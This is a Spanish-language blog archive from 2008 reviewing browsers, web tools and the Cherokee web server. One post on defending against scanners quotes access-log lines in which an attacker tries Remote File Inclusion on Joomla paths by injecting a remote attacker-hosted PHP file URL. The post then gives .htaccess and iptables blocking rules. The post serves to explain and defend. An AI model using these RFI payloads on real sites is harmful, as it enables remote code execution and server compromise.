Archive for the ‘Software’ Category

Google Chrome: El navegador de Google basado en Webkit

Tuesday, September 2nd, 2008

Bueno como los chicos de TUAW comentaban ayer por la tarde, Google hizo publicidad en un comic elaborado por Scott McCloud, 38 páginas del comic donde explica muy claramente las ventajas y el porqué de este navegador.
Se ha confirmado que el dia de Hoy 2 de septiembre Google a través de su blog oficial anunciará la liberación de este nuevo navegador que se suma a los ya conocidos hasta ahora.
Esperaremos y actualizaré esta entrada en cuanto sepa la dirección de descarga o tenga nueva información, aunque me imagino que todo el internet estará atento igual o más que yo. Tendré que actualizar dentro de unas semanas el post que hice mencionando a los navegadores más sobresalientes en la actualidad.
No dudo que sea un navegador con buena aceptación, claro viniendo de la empresa más poderosa que hay en internet.

Update: Aparecen las primeras capturas de pantalla de Google Chrome

chrome1.jpg

Vía Techcrunch me entero que aparecen las primeras capturas de pantalla y al parecer algunos videos donde se muestra la forma y el funcionamiento de este navegador.

Update 2: Ya esta disponible Google Chrome para su descarga (solo windows por ahora) Descarga Google Chrome

Open Tape: Primera vista

Monday, September 1st, 2008

Bueno en la página de Open Tape se puede descargar el código para montar tu Mixtape a tu sitio personal.
Los pasos para su instalación son:

  • Bajar el código de Open Tape
  • Descomprimir el código
  • Crear una carpeta en la forma: http://tusitio/directorio_opentape/
  • Abrir http://tusitio/directorio_opentape/
  • Crear un password
  • Subir canciones

Los requisitos son:

  • Apache 1.x, 2x
  • PHP 5
  • La extensión cURL (requerida si quieres notificar y publicar tu MixTape a la Red de Open Tape)

Pueden ver mi Mixtape en:

http://rd.entrebits.com.mx/opentape/

o bien el código para insertarlo en HTML en forma de reproductor:

Internet Explorer 8 Beta 2

Friday, August 29th, 2008
ie8_hero_2.jpg

Después de 5 meses de la liberación de Internet Explorer Beta 1, Microsoft acabó de liberar la Beta 2. Comenté en un post anterior acerca de mis impresiones de los principales navegadores, por aquel tiempo mencionaba que Mozilla dominaba por completo el tema de los plugins o extensiones, ahora Microsoft viene duro con el tema de los “addons”. No he probado esta versión de IE pero en cuanto lo haga dejaré nuevamente mi opinión aquí.

Dejo el link al sitio oficial de descarga. Microsoft Internet Explorer 8 Beta 2

IM Feeds: Feeds hasta en la mensajería instantánea

Sunday, June 15th, 2008

IM Feeds

IM Feeds es un servicio muy práctico para todos los que usamos Feeds. El funcionamiento es sencillo solo tienes que agregar al bot en tu cliente de mensajería (MSN Messenger, Google Talk, Yahoo! Messenger) teclear join para registrarte al servicio, darle click a un vínculo para confirmar tu registro y teclear en la ventana de conversación del bot sub http://urldel/feed para que el bot te mande mensajes sobre actualizaciones del feed y unsub http://urldel/feed para darte de baja de las actualizaciones del feed.

Práctico no?

Enlace: IM Feeds

IETester: Probando websites entre diferentes versiones de IE

Thursday, May 29th, 2008

Si alguna vez haz hecho alguna web, theme, intefaz web seguramente te topaste con el problema de probar como se ve tu trabajo en las diferentes versiones de IE, aunque Microsoft no permite la instalación de multiples IE, algunos hacks nos permiten tenerlos, pero… ¿Apoco no es un poco inestable?

La solución es IETester, una herramienta compatible con Windows XP/Vista que permite cambiar entre los diferentes motores de las diferentes versiones de IE en una sola ventanaIE Tester

Pesa al rededor de 23.8Mb y contiene los motores de los navegadores IE8 beta 1, IE7, IE 6 y IE5.5.

via: ajaxian

Enlace: IETester

Google Earth API: Plug-in de navegadores para ver mapas en 3d

Wednesday, May 28th, 2008

Google ha lanzado el API de Google Earth, que básicamente permite ver mapas en 3D en los navegadores, ¿Cuales? Firefox 2.x, IE6 y IE7 todos para Windows (lamentablemente).

Entre las características de esta API actualmente se encuentran: PlaceMarks (marcar lugares específicos), añadir balloons de información, mover la cámara y crear polígonos.

¿Por donde empezar?

Pues un buen comienzo es obtener la API Key y leer la documentación :-)

¿Una prueba?

Social History: Detectando las redes sociales de tus visitantes

Wednesday, May 28th, 2008

En los blogs es muy común ver botones para agregar las entradas de los posts a digg, reddit, StumbleUpon, meneame, etc., cada vez hay más redes sociales y más botones con ellas.

Redes Sociales

Si bien es cierto con el botón Sharethis podemos ahorrar algo de espacio y poner un poco más limpio el contenido de nuestro posts, siempre habrán botones que nuestros visitantes nunca utilicen.

Sharethis

SocialHistory es un código en javascript que ayuda a detectar las redes sociales de tus visitantes, esto ayuda a mostrar solo las redes que a tu visitante le interesan.

Seguridad: protegete de espías 2

Tuesday, April 22nd, 2008

En el post anterior hablaba de intrusos que buscan detectar vulnerabilidades de algunos scripts.

Bueno pues veo que cada vez hay un mayor número de estas “herramientas” (para kiddies) que no hacen otra cosa que hacernos perder el tiempo.

Voy a dedicar una sección en este blog para hablar acerca de estas herramientas, pero primero, lo primero.

217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”

Como podrán ver en esos logs, hacen peticiones hacia archivos específicos. Por el nombre de los directorios se puede deducir claramente que los directorios que buscan pertenecen a la estructura de el CMS Joomla.

Deben de usar un scanner de ips, por que ni siquiera se tomaron la molestia de verificar si en este servidor hay Joomla instalado (no, no hay, ni lo habrá).

Algunos blogs recomiendan bannear ese user-agent “Morfeus Fucking Scanner”, lo cual si serviría temporalmente, ya que cambiando el user-agent del scanner se soluciona el asunto.

Para bloquear ese scanner por medio de su user-agent basta con agregar esto al .htaccess

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^Morfeus
RewriteRule ^.*$ - [F]

Con estas líneas se le denegaría el acceso al user-agent, pero no a la ip.

Otros recomiendan devolverles el favor a los espías con estas líneas
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (^Morfeus) [NC]
RewriteRule .* http://%{REMOTE_ADDR} [r=301,l]

Con las líneas anteriores se hace un forwarding a la misma ip de donde proviene el ataque. Pero al igual que con el código anterior, solo se le denegará el acceso al user-agent y no a la ip.

Yo recomiendo agregar reglas para banear las ips.
iptables -A INPUT -s LAIP -j DROP

Pero si no tenemos acceso a las iptables, también podremos bannear a los espías mediante el archivo .htaccess de la siguiente manera:

#Morfeus Fucking Hacker
deny from 217.118.2.160

Se que es algo molesto andar editando el archivo cada vez que un nuevo espía se acerque a nosotros, pero es mejor que podemos hacer sino tenemos acceso para bannear desde iptables.

¿Pero que ganan exactamente los espías al encontrar lo que buscan?

Bueno pues pongamos atención a la siguiente línea:

217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”

Lo que buscan hacer se llama RFI (Remote File Inclusion) que consiste según wikipedia en:

Remote File Inclusion, traducido al español como Inclusión Remota de Archivos – vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include().

En pocas palabras ellos cuelgan un archivo en otro servidor (En este caso http://dwlz2.dwlz2.com/~dwlz2/ice.txt) que tiene código PHP que permite al atacante tomar control sobre el servidor, o al menos, usar código PHP para construir scripts para funciones específicas (spam, defaces, craking, etc). Verdaderamente es de extrema importancia cuidarnos de este tipo de ataques, ya que muchas cosas se ven comprometidas (Incluso la Base de datos).

Cherokee una opción blogger

Thursday, April 3rd, 2008
Cherokee

Entre módulos que no ocupo, procesos innecesarios en mi servidor, y configuraciones por demás sobradas, mi servidor web esta funcionando un poco más lento que de lo normal.

Buscando un poco por la red encontré Cherokee, un magnífico Servidor Web escrito enteramente en lenguaje C que cuenta con todas las características necesarias para montar un CMS como WordPress, el favorito de los bloggers.

¿Que ofrece?

Para empezar, es super rápido (mucho más que mi configuración actual de Apache), fácil de instalar y configurar. Soporta CGI, FastCGI, SCGI, PHP, CGI, y conexiones seguras (encriptadas) TLS y SSL.

No es un secreto la importancia de tener servidores rápidos, sobre todo en la comunidad bloggera. Ayuda muchísimo a los lectores de nuestro blog, uno o dos segundos realmente cuentan.

Actualmente cuento con un servidor dedicado donde alojo este blog y varios sitios de amigos. Los blogs robustos con muchos miles de visitas diarias seguramente usaran Lighttpd, sin embargo Cherokee en su versión actual 0.6 puede ser considerado una opción para los bloggers que cuentan con un servidor dedicado propio y quieren aumentar la velocidad y rendimiento, además de ser un proyecto hispano.

Me agradó mucho su interfaz de administración bastante “user-friendly” desde la cual configurar Mime Types, Servidores Virtuales, alias, y demás parametros requeridos ,según nuestras necesidades, es muy intuitivo, rápido y fácil.

Administación Cherokee

Por todas las características, considero que Cherokee debería ser una opción importante para la comunidad bloggera.